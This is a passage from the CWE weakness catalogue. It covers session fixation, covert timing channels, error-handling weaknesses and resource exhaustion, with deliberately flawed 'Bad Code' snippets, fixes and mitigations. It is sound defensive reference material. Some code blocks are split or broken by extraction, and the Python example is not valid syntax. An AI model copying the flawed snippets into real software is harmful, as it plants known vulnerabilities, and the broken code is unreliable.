In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.

In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as `bank.example.com` and `recipes.example.com`, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain `example.com` [29].

Example 2:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the `<code>j_security_check</code>`, which typically does not invalidate the existing session before processing the login request.

HTML Example:

Bad Code

```
<form method="POST" action="j_security_check">  
  <input type="text" name="j_username">  
  <input type="text" name="j_password">  
</form>
```

Potential Mitigations

Architecture and Design

Invalidate any existing session identifiers prior to authorizing a new user session.

Architecture and Design

For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.

Other Notes

Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.

CWE-385: Covert Timing Channel

Weakness ID: 385 (Weakness Base)

Status: Incomplete

Description

Summary

Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.

Extended Description

In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.

Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.

Likelihood of Exploit

Medium

Demonstrative Examples

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

Python Example:

Bad Code

```
def validate_password(actual_pw, typed_pw):
    if len(actual_pw) <> len(typed_pw):
        return 0
    for i in len(actual_pw):
        if actual_pw[i] <> typed_pw[i]:
            return 0
    return 1
```

Note that, in this example, the actual password must be handled in constant time, as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

Potential Mitigations

Architecture and Design

Whenever possible, specify implementation strategies that do not introduce time variances in operations.

Implementation

Often one can artificially manipulate the time which operations take or -- when operations occur -- can remove information from the attacker.

Implementation

It is reasonable to add artificial or random delays so that the amount of CPU time consumed is independent of the action being taken by the application.

CWE-386: Symbolic Name not Mapping to Correct Object**Weakness ID:** 386 (*Weakness Base*)**Status:** Draft**Description****Summary**

A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Access Control****Gain privileges / assume identity**

The attacker can gain access to otherwise unauthorized resources.

Integrity**Confidentiality****Other****Modify application data****Modify files or directories****Read application data****Read files or directories****Other**

Race conditions such as this kind may be employed to gain read or write access to resources not normally readable or writable by the user in question.

Integrity**Other****Modify application data****Other**

The resource in question, or other resources (through the corrupted one) may be changed in undesirable ways by a malicious user.

Non-Repudiation

Hide activities

If a file or other resource is written in this method, as opposed to a valid way, logging of the activity may not occur.

Non-Repudiation

Integrity

Modify files or directories

In some cases it may be possible to delete files that a malicious user might not otherwise have access to -- such as log files.

CWE-388: 7PK - Errors

Category ID: 388 (Category) Status: Draft

Description

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when an application does not properly handle errors that occur during processing. According to the authors of the Seven Pernicious Kingdoms, "Errors and error handling represent a class of API. Errors related to error handling are so common that they deserve a special kingdom of their own. As with 'API Abuse,' there are two ways to introduce an error-related security vulnerability: the most common one is handling errors poorly (or not at all). The second is producing errors that either give out too much information (to possible attackers) or are difficult to handle."

CWE-389: Error Conditions, Return Values, Status Codes

Category ID: 389 (Category)

Status: Incomplete

Description

Summary

This category includes weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. This type of problem is most often found in conditions that are rarely encountered during the normal operation of the product. Presumably, most bugs related to common conditions are found and eliminated during development and testing. In some cases, the attacker can directly control or influence the environment to trigger the rare conditions.

Other Notes

Many researchers focus on the resultant weaknesses and do not necessarily diagnose whether a rare condition is the primary factor. However, since 2005 it seems to be reported more frequently than in the past. This subject needs more study.

CWE-390: Detection of Error Condition Without Action**Weakness ID:** 390 (*Weakness Class*)**Status:** Draft**Description****Summary**

The software detects a specific error, but takes no actions to handle the error.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences**Integrity****Other****Varies by context****Unexpected state****Alter execution logic**

An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.

Likelihood of Exploit

Medium

Demonstrative Examples**Example 1:**

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

C Example:*Bad Code*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    //We do nothing so we just ignore the error.
}
```

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

C Example:*Good Code*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    printf("Malloc failed to allocate memory resources");
    return -1;
}
```

Example 2:

In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to

read. These errors will be thrown when the `is_open()` method and `good()` method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.

C++ Example:*Bad Code*

```
char* readfile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (...) {
        /* bug: insert code to handle this later */
    }
}
```

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the `readFile()` method for further handling or possible termination of the program.

C++ Example:*Good Code*

```
char* readFile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (char *str) {
        printf("Error: %s \n", str);
        infile.close();
    }
}
```

```

    throw str;
  }
  catch (...) {
    printf("Error occurred trying to read from file \n");
    infile.close();
    throw;
  }
}

```

Example 3:

In the following Java example the method `readFile` will read the file whose name is provided in the input parameter and will return the contents of the file in a `String` object. The constructor of the `FileReader` object and the `read` method call may throw exceptions and therefore must be within a `try/catch` block. While the `catch` statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. `Catch` statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a `null String`.

Java Example:*Bad Code*

```

public String readFile(String filename) {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char[] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (Exception ex) {
        /* do nothing, but catch so it'll compile... */
    }
    return retString;
}

```

The `catch` statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three `catch` statements. The first of these will catch the `FileNotFoundException` that may be thrown by the `FileReader` constructor called within the `try/catch` block. The second `catch` statement will catch the `IOException` that may be thrown by the `read` method called within the `try/catch` block. The third `catch` statement will catch all other exceptions thrown within the `try` block. For all `catch` statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the `readFile()` method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the `getMessage()` method of the exception class to provide more information to the user about the exception raised.

Java Example:*Good Code*

```

public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char [] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
    }
}

```

```

retString = new String(cBuf);
} catch (FileNotFoundException ex) {
    System.err.println ("Error: FileNotFoundException opening the input file: " + filename );
    System.err.println (" " + ex.getMessage() );
    throw new FileNotFoundException(ex.getMessage());
} catch (IOException ex) {
    System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
    throw new IOException(ex);
} catch (Exception ex) {
    System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
    throw new Exception(ex);
}
}
return retString;
}

```

Potential Mitigations

Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Implementation

If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.

Testing

Subject the software to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.

CWE-391: Unchecked Error Condition

Weakness ID: 391 (Weakness Base)

Status: Incomplete

Description

Summary

Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Integrity

Other

Varies by context

Unexpected state

Alter execution logic

Likelihood of Exploit

Medium

Demonstrative Examples

The following code excerpt ignores a rarely-thrown exception from doExchange().

Java Example:

Bad Code

```
try {
    doExchange();
}
catch (RareException e) {
    // this can never happen
}
```

If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

Potential Mitigations

Requirements

The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.

Requirements

A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.

Implementation

Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Other Notes

When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions:

This method call can never fail.

It doesn't matter if this call fails.

Software Fault Patterns	SFP4		Unchecked Status Condition

Maintenance Notes

This entry needs significant modification. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue.

CWE-392: Missing Report of Error Condition

Weakness ID: 392 (Weakness Base)

Status: Draft

Description

Summary

The software encounters an error but does not provide a status code or return value to indicate that an error has occurred.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Integrity

Other

Varies by context

Unexpected state

Errors that are not properly reported could place the system in an unexpected state that could lead to unintended behaviors.

Demonstrative Examples

In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

Java Example:

Bad Code

```
try {
    // Something that may throw an exception.
    ...
} catch (Throwable t) {
    logger.error("Caught: " + t.toString());
    return;
}
```

Observed Examples

Reference	Description
CVE-2002-0499	Kernel function truncates long pathnames without generating an error, leading to operation on wrong directory.
CVE-2002-1446	Error checking routine in PKCS#11 library returns "OK" status even when invalid signature is detected, allowing spoofed messages.
CVE-2004-0063	Function returns "OK" even if another function returns a different status code than expected, leading to accepting an invalid PIN number.
CVE-2005-2459	Function returns non-error value when a particular erroneous condition is encountered, leading to resultant NULL dereference.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		389	Error Conditions, Return Values, Status Codes	699	661
ChildOf		684	Incorrect Provision of Specified Functionality	1000	1045
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1000	1083

ChildOf		961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1364
ChildOf		1012	Cross Cutting	1008	1409
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	884	1306

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Missing Error Status Code
CERT Java Secure Coding	TPS03-J	Ensure that tasks executing in a thread pool do not fail silently
Software Fault Patterns	SFP6	Incorrect Exception Behavior

CWE-393: Return of Wrong Status Code

Weakness ID: 393 (Weakness Base)

Status: Draft

Description

Summary

A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.

Extended Description

This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Other

Unexpected state

Alter execution logic

This weakness could place the system in a state that could lead unexpected logic to be executed or other unintended behaviors.

Demonstrative Examples

In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

Java Example:

Bad Code

```
try {
    // something that might throw IOException
    ...
} catch (IOException ioe) {
    response.sendError(SC_NOT_FOUND);
}
```

Observed Examples

Reference	Description
CVE-2001-1509	Hardware-specific implementation of system call causes incorrect results from geteuid.
CVE-2001-1559	System call returns wrong value, leading to a resultant NULL dereference.
CVE-2003-1132	DNS server returns wrong response code for non-existent AAAA record, which effectively says that the domain is inaccessible.
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		389	Error Conditions, Return Values, Status Codes	699	661
ChildOf		684	Incorrect Provision of Specified Functionality	1000	1045
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1000	1083
ChildOf		961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1364
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	884	1306

Relationship Notes

This can be primary or resultant, but it is probably most often primary to other issues.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Wrong Status Code
Software Fault Patterns	SFP6	Incorrect Exception Behavior

Maintenance Notes

This probably overlaps various categories, especially those related to error handling.

CWE-394: Unexpected Status Code or Return Value

Weakness ID: 394 (Weakness Base)

Status: Draft

Description

Summary

The software does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the software.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Other

Unexpected state

Alter execution logic

Observed Examples

Reference	Description
CVE-2000-0536	Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname.
CVE-2001-0910	Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname.
CVE-2002-2124	Unchecked return code from recv() leads to infinite loop.
CVE-2004-1395	Certain packets (zero byte and other lengths) cause a recvfrom call to produce an unexpected return code that causes a server's listening loop to exit.
CVE-2004-2371	Game server doesn't check return values for functions that handle text strings and associated size values.
CVE-2005-1267	Resultant infinite loop when function call returns -1 value.
CVE-2005-1858	Memory not properly cleared when read() function call returns fewer bytes than expected.
CVE-2005-2553	Kernel function does not properly handle when a null is returned by a function call, causing it to call another function that it shouldn't.

Relationships

Nature	Type	ID	Name	✓	Page
ChildOf		389	Error Conditions, Return Values, Status Codes	699	661
ChildOf		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1099
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1000	1128
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition	888	1364

Relationship Notes

Usually primary, but can be resultant from issues such as behavioral change or API abuse. This can produce resultant vulnerabilities.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unexpected Status Code or Return Value
Software Fault Patterns	SFP4		Unchecked Status Condition
CERT Perl Secure Coding	EXP00-PL	Imprecise	Do not return undef

CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference

Weakness ID: 395 (Weakness Base)

Status: Draft

Description

Summary

Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.

Extended Description

Programmers typically catch NullPointerException under three circumstances:

The program contains a null pointer dereference. Catching the resulting exception was easier than fixing the underlying problem.

The program explicitly throws a NullPointerException to signal an error condition.

The code is part of a test harness that supplies unexpected input to the classes under test.

Of these three circumstances, only the last is acceptable.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Java

Common Consequences**Availability**

DoS: resource consumption (CPU)

Detection Methods**Automated Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with manual results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Framework-based Fuzzer

Manual Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

The following code mistakenly catches a NullPointerException.

Java Example:

Bad Code

```
try {
    mysteryMethod();
} catch (NullPointerException npe) {
}
```

Potential Mitigations**Architecture and Design****Implementation**

Do not extensively rely on catching exceptions (especially for validating user input) to handle errors. Handling exceptions can decrease the performance of an application.

Relationships

CERT Java Secure Coding	ERR08-J	Do not catch NullPointerException or any of its ancestors

CWE-396: Declaration of Catch for Generic Exception

Weakness ID: 396 (*Weakness Base*)

Status: Draft

Description**Summary**

Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

Extended Description

Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- C++
- Java
- .NET

Common Consequences**Non-Repudiation****Other****Hide activities****Alter execution logic****Demonstrative Examples**

The following code excerpt handles three types of exceptions in an identical fashion.

Java Example:

Good Code

```
try {
    doExchange();
}
catch (IOException e) {
    logger.error("doExchange failed", e);
}
catch (InvocationTargetException e) {
    logger.error("doExchange failed", e);
}
catch (SQLException e) {
    logger.error("doExchange failed", e);
}
```

At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

Bad Code

```
try {
    doExchange();
}
catch (Exception e) {
    logger.error("doExchange failed", e);
}
```

However, if `doExchange()` is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from `RuntimeException` such as `ClassCastException`, and `NullPointerException`, which is not the programmer's intent.

CWE-397: Declaration of Throws for Generic Exception

Weakness ID: 397 (Weakness Base)

Status: Draft

Description**Summary**

Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

Extended Description

Declaring a method to throw `Exception` or `Throwable` makes it difficult for callers to perform proper error handling and error recovery. Java's exception mechanism, for example, is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C++
- Java
- .NET

Common Consequences

Non-Repudiation

Other

Hide activities

Alter execution logic

Demonstrative Examples

The following method throws three types of exceptions.

Java Example:

Good Code

```
public void doExchange() throws IOException, InvocationTargetException, SQLException {
    ...
}
```

While it might seem tidier to write

Bad Code

```
public void doExchange() throws Exception {
    ...
}
```

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

CWE-398: 7PK - Code Quality

Category ID: 398 (Category)

Status: Draft

Description

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained. According to the authors of the Seven Pernicious Kingdoms, "Poor code quality leads to unpredictable behavior."

From a user's perspective that often manifests itself as poor usability. For an adversary it provides an opportunity to stress the system in unexpected ways."

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Resource Management Errors

CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')

Weakness ID: 400 (Weakness Base)

Status: Incomplete

Description

Summary

The software does not properly restrict the size or amount of resources that are requested or influenced by an actor, which can be used to consume more resources than intended.

Extended Description

Limited resources include memory, file system storage, database connection pool entries, or CPU. If an attacker can trigger the allocation of these limited resources, but the number or size of the resources is not controlled, then the attacker could cause a denial of service that consumes all available resources. This would prevent valid users from accessing the software, and it could potentially have an impact on the surrounding environment. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system.

Resource exhaustion problems have at least two common causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for releasing the resource

Time of Introduction

- Operation
- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Availability

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

DoS: resource consumption (other)

The most common result of resource exhaustion is denial of service. The software may slow down, crash due to unhandled errors, or lock out legitimate users.

Access Control

Other

Bypass protection mechanism

Other

In some cases it may be possible to force the software to "fail open" in the event of resource exhaustion. The state of the software -- and possibly the security functionality - may then be compromised.

Likelihood of Exploit

High

Detection Methods

Automated Static Analysis**Limited**

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.

Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Automated Dynamic Analysis**Moderate**

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the software within a short time frame.

Fuzzing**Opportunistic**

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted software in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

Demonstrative Examples**Example 1:**

The following example demonstrates the weakness.

Java Example:*Bad Code*

```
class Worker implements Executor {
    ...
    public void execute(Runnable r) {
        try {
            ...
        }
        catch (InterruptedException ie) {
            // postpone response
            Thread.currentThread().interrupt();
        }
    }
    public Worker(Channel ch, int nworkers) {
        ...
    }
    protected void activate() {
        Runnable loop = new Runnable() {
            public void run() {
                try {
                    for (;;) {
                        Runnable r = ...;
                        r.run();
                    }
                }
                catch (InterruptedException ie) {
                    ...
                }
            }
        };
        new Thread(loop).start();
    }
}
```

There are no limits to runnables. Potentially an attacker could cause resource problems very quickly.

Example 2:

This code allocates a socket and forks each time it receives a new connection.

C Example:*Bad Code*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

Example 3:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method `openSocketConnection` establishes a server socket to accept requests from a client. When a client establishes a connection to this service the `getNextMessage` method is first used to retrieve from the socket the name of the file to store the data, the `openFileToWrite` method will validate the filename and open a file to write to on the local file system. The `getNextMessage` is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

C Example:*Bad Code*

```
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!(writeToFile(buffer) > 0))
                    break;
            }
        }
        closeFile();
    }
    closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

Example 4:

In the following example, the `processMessage` method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The `getMessageLength` method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

C Example:

Bad Code

```

/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be
processed */
int processMessage(char **message)
{
    char *body;
    int length = getMessageLength(message[0]);
    if (length > 0) {
        body = &message[1][0];
        processMessageBody(body);
        return(SUCCESS);
    }
    else {
        printf("Unable to process message; invalid message length");
        return(FAIL);
    }
}

```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

C Example:

Good Code

```

unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}

```

Example 5:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

Java Example:

Bad Code

```

public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            t.start();
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}

```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created.

This can be easily done by creating a thread pool object that limits the number of threads that are generated.

Java Example:

Good Code

```

public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {

```

```

try {
    ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
    int counter = 0;
    boolean hasConnections = true;
    while (hasConnections) {
        hasConnections = checkForMoreConnections();
        Socket client = serverSocket.accept();
